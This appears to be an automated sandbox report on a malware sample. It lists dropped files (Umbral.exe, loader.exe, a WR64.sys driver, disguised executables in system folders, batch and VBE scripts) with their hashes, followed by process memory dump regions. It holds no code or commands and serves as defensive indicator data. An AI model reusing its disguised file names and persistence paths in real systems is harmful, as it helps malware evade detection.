C:\Users\Admin\AppData\Local\Temp\I9DXZLE0Gd.bat

Filesize
223B

MD5
38c185ac39ccf9ab89e07720cc62ae5d

SHA1
b16b7bf85b63bc0c52b8853197d15e207ef1f8ea

SHA256
77ac4a7222ee51db1f4c03792d521b1ec96fdddb600ec95e8163abff4bd6174a

SHA512
7aa7125a97773e8645eee0342bf872fd209146b394cf847fdfacccbd3785e1220e5a703c94fe68e5e94952f3d03af8517e89f8753be6c55b369db58e4acf8d1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Jk8gUuwp39

Filesize
20KB

MD5
49693267e0adbcd119f9f5e02adf3a80

SHA1
3ba3d7f89b8ad195ca82c92737e960e1f2b349df

SHA256
d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

SHA512
b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\NcvJo4SxWA

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\QrN6uthMiW

Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF5E9.tmp

Filesize
1KB

MD5
58c3f5be6f7ce7cc53d9aeb6586a80b0

SHA1
3a008bca135a4914cace4dc6a123111655d70419

SHA256
1ebc4d3b93da978663ab7f2fc13332652e60170fd267ed7d900c2b5d4b1e3162

SHA512
cf32b7a5f4ff9f862265bab1898841134ac02e8cc2b3ad7775cf2621220da93b9474042f66663194ca5cebdb7f65b538b108475a4e6ac69d10bfca95026287b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
81ee8159cd03b6d0ae9e51d8cc0f3e1c

SHA1
51087190d30056a1b4acf8b58c4b2fe6bf0f0832

SHA256
b88ad09cf68043a4fb384f79ca1018c09b582c0762f27353060eae8ccc33822f

SHA512
f1f6ab30522fe6bc9d38bfe11eb7874f9fb226ce31fa55c86e07052d0dcab5575e5357340b4742b428c84068c1801d63e5c16f65232a7ac3fb99e1beb5d053a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uie1tjyg.m23.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\b9aNmsEibB.bat

Filesize
295B

MD5
c6cb001702571f2f676d5ab5eaeb080c

SHA1
23bce65f3560e1c807f7ca1703db9645e7dcd701

SHA256
470b14e91ca34a70d25f454c7e37ca7c17550a4f3243823c0167823c5e664133

SHA512
d2aa7c3c4f2470f571cd05c2ba9f058db5c0e09eec2d2821392e6ec131e3076c303ea3c15ab70cd9c2ce56f399b6275dba735ab91ac49db27fe836e716e4a9ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\hhReZojtBL

Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\Users\Admin\AppData\Local\Temp\j0AL9BY6sS.bat

Filesize
162B

MD5
34802d7b2014f0bfd23b4834a032522b

SHA1
e106f434d3d48226bef2598b937e5f13174b17a8

SHA256
aa37407ee4c8734012083f2ffa6fda32317edfe05e7f6fffb9e83dc9470e2553

SHA512
a7a955757b3dcea256e72749abe21acfe18c164c711564d4f08e235076e3bebc210ffb88938f0e40240ed44068fc63f6e658cef09a2c33783e09ef5768d76844

Download Submit
C:\Users\Admin\AppData\Local\Temp\loader.exe

Filesize
32.7MB

MD5
68a0064a9589a070b59dfc6a1b15438c

SHA1
15e85a1050882be40647f40eeee02e4a54b9edb5

SHA256
e4d77b932dc211afcdcc064f1d1d493f719a86c020256ed6399875cf397c968a

SHA512
0278f672baaedb0d33a42a4e1ae3fe9c75562cf16ecf0a541f3ac1b9d083af9e3e3a44899a8ede8a54f2319dc31b2319f3ff0820e4e0df61eb665758d1aae5ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\meFDMSgvth

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys

Filesize
14KB

MD5
0c0195c48b6b8582fa6f6373032118da

SHA1
d25340ae8e92a6d29f599fef426a2bc1b5217299

SHA256
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

SHA512
ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
b3c4cd54c11e0ea6b4ff748d391ced25

SHA1
6994195d48a637e61862e11095b0465918eca628

SHA256
6faeb07b2d1dc0814754af7edaea5e3cc28c5f2504b89b180becc0ba38c049ac

SHA512
393464625488c1b9571fb04f8cf71da336bc86c1a1d102b6fa8faf59148d787dc531fa0afd5d33febe3ad8885bace87ce4c40bfcd2c75b7f87173f81e509e491

Download Submit
C:\chainContainerproviderdriver\GFpm16CSowFgEy35TRHcwvj4Rm.vbe

Filesize
217B

MD5
e608cf4ea0f4d94693416934001710ae

SHA1
d0888ee125f4c8b520926163fcac59724e8e88f1

SHA256
27e35f48fa6eff22499f439ccc601619a47eba764bed93f635bf78234e40c267

SHA512
5f1f014dae12cbb7935f3b1766b0e7fa48fdd98770c8dc972d3743392487709a11cc26cc7f03b3eaeedb5d4b2769b848b5edd22231b78f2608bd7e2f9de86cf0

Download Submit
C:\chainContainerproviderdriver\PortContainercomponentsavesdll.exe

Filesize
1.8MB

MD5
8a26feadb01f539c1aafc860259b2592

SHA1
842c4422cd50d315dfc843d7969dd6e5a6e6cd0f

SHA256
a74ddf675d4df1be788b4b7bc87659fb6497f738b820ac5a52b2c38a19f818a6

SHA512
9a876cf3ff961c30e419ed7866ef81735c8c7c7b54a4719aa06718818867d8e4c390717d23b6512cfc475c45e3aa693a7c10d99d037c1c17515c87939e411c80

Download Submit
C:\chainContainerproviderdriver\uDyCMCiZHpa.bat

Filesize
115B

MD5
73139134aabc2dc0dd723b4c94f209f7

SHA1
4141a25562151354cb54c8a6fb1ac30088f87196

SHA256
3f834ae9eee6e6a3984bf17c844c1e58c07c10d70287794f41bacbfd933d2760

SHA512
589ad03ae8f88a3b610ed6852d75dcb2f4cd248647db97fd4fb760bb81ba77b6e13e911e68a7e88759a759b34ffeee0628904f5105e21a165c1b622080fa7f3b

Download Submit
C:\windows\system32\b03zlf.exe

Filesize
4KB

MD5
5b2efa3277a8fece1eee9240446f7ccb

SHA1
772e82b53e2433d886d55285d13e527cfcacb4d1

SHA256
fb25a6d473e6afeb778e471c4e75a34ca877e5f242ac719214fb40dfca34aa90

SHA512
5d9dd5c215f8ef4a94ef8797062157760bdc6a5a025ea52cd2464441adac15b9d4b7e12e0a24a74c8b774dc7811489d45db9b1ebd479ac8a341497d820138d71

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fkk3ah1s\fkk3ah1s.0.cs

Filesize
383B

MD5
51fc55d73ec8d7acc767343f1d3e8daa

SHA1
84ceef017196c8ec8d59e6a7b688be84800b6aad

SHA256
6c4485e8c1c7d7aa4dd1015b84d291145126be3d6859e702dd91694069c85f38

SHA512
26f07c4143bababa0b39b5d662ca13650c35017bc1f2d254bbb464dc77fd7c08dca09b963796fa5a49b5a9790dc0eca507b8387ed26dc021c11bfae3dd0719b1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fkk3ah1s\fkk3ah1s.cmdline

Filesize
235B

MD5
3e1d2331fd968d9f77bcdc22c3dcbb42

SHA1
be7484c7a51d3c4d8662157978c34cdc1c68c0b5

SHA256
e6aa4d8071bf2845bdfb530894684a80403c826ad5f4bdf338a2be94ee13085f

SHA512
deeee69859b73d324ba6c277f7c4bfd54fd53c5a60b80042ccf7c78f5e05de95b6d0cc2d291e84a4bf474f5f3728d19158260aa551ea3994f83c684b15deeb44

Download Submit
\??\c:\Windows\System32\CSCC402F9C3427646DCBCB69585C6775FFC.TMP

Filesize
1KB

MD5
79ea87e929386567d5b9f832e32eabe8

SHA1
4d616790d5df51466b8c3943d8ff31dce53a2794

SHA256
ac1634bead9bfa9d560dcc219118c6b753c822b7d5a7f7efca991e3dccd185ee

SHA512
eacdbcfca72711efd15dc2038c17242eefc748588756869c7f070a36d861454cd6d3f72cb8a9bae4a9b6a6aaf28496bf8825abbc0d9111fdcd4658f1d9316d4d

Download Submit
memory/2844-104-0x0000000000900000-0x0000000000AE6000-memory.dmp

Filesize
1.9MB

Download
memory/2844-131-0x000000001DF00000-0x000000001DF12000-memory.dmp

Filesize
72KB

Download
memory/2844-134-0x000000001DF60000-0x000000001DF9C000-memory.dmp

Filesize
240KB

Download
memory/3092-139-0x0000016068C60000-0x0000016068C7E000-memory.dmp

Filesize
120KB

Download
memory/3092-16-0x00007FFDBB6A0000-0x00007FFDBC161000-memory.dmp

Filesize
10.8MB

Download
memory/3092-293-0x00007FFDBB6A0000-0x00007FFDBC161000-memory.dmp

Filesize
10.8MB

Download
memory/3092-15-0x00007FFDBB6A0000-0x00007FFDBC161000-memory.dmp

Filesize
10.8MB

Download
memory/3092-13-0x000001604E550000-0x000001604E590000-memory.dmp

Filesize
256KB

Download
memory/3092-136-0x0000016068C90000-0x0000016068D06000-memory.dmp

Filesize
472KB

Download
memory/3276-82-0x000001AA07080000-0x000001AA08E3E000-memory.dmp

Filesize
29.7MB

Download
memory/3276-106-0x000001AA26E90000-0x000001AA28C4E000-memory.dmp

Filesize
29.7MB

Download
memory/3276-123-0x000001AA0C760000-0x000001AA0C76A000-memory.dmp

Filesize
40KB

Download
memory/3276-122-0x000001AA0C720000-0x000001AA0C732000-memory.dmp

Filesize
72KB

Download
memory/4028-350-0x000001FC50C90000-0x000001FC50C96000-memory.dmp

Filesize
24KB

Download
memory/4028-352-0x000001FC50FF0000-0x000001FC50FF6000-memory.dmp

Filesize
24KB

Download
memory/4396-348-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-347-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-346-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-344-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-343-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-340-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-345-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-338-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-372-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-373-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-374-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4396-342-0x0000000000E00000-0x0000000000E20000-memory.dmp

Filesize
128KB

Download
memory/4692-69-0x0000000000C70000-0x0000000000E4A000-memory.dmp

Filesize
1.9MB

Download
memory/4692-86-0x0000000001620000-0x000000000162E000-memory.dmp

Filesize
56KB

Download
memory/4692-101-0x000000001BDE0000-0x000000001BDF8000-memory.dmp

Filesize
96KB

Download
memory/4692-98-0x000000001BBB0000-0x000000001BBCC000-memory.dmp

Filesize
112KB

Download
memory/4692-103-0x0000000001630000-0x000000000163C000-memory.dmp

Filesize
48KB

Download
memory/4692-99-0x000000001BE30000-0x000000001BE80000-memory.dmp

Filesize
320KB

Download
memory/4696-35-0x0000000000690000-0x0000000002742000-memory.dmp

Filesize
32.7MB

Download
memory/4920-59-0x00000164C6E10000-0x00000164C6E32000-memory.dmp

Filesize
136KB

Download
memory/4972-55-0x00007FFDBB6A0000-0x00007FFDBC161000-memory.dmp

Filesize
10.8MB

Download
memory/4972-14-0x00007FFDBB6A0000-0x00007FFDBC161000-memory.dmp

Filesize
10.8MB

Download
memory/4972-0-0x00007FFDBB6A3000-0x00007FFDBB6A5000-memory.dmp

Filesize
8KB

Download
memory/4972-1-0x0000000000E60000-0x0000000004E84000-memory.dmp

Filesize
64.1MB

Download
memory/5932-292-0x00000000008F0000-0x0000000000ACA000-memory.dmp

Filesize
1.9MB

Download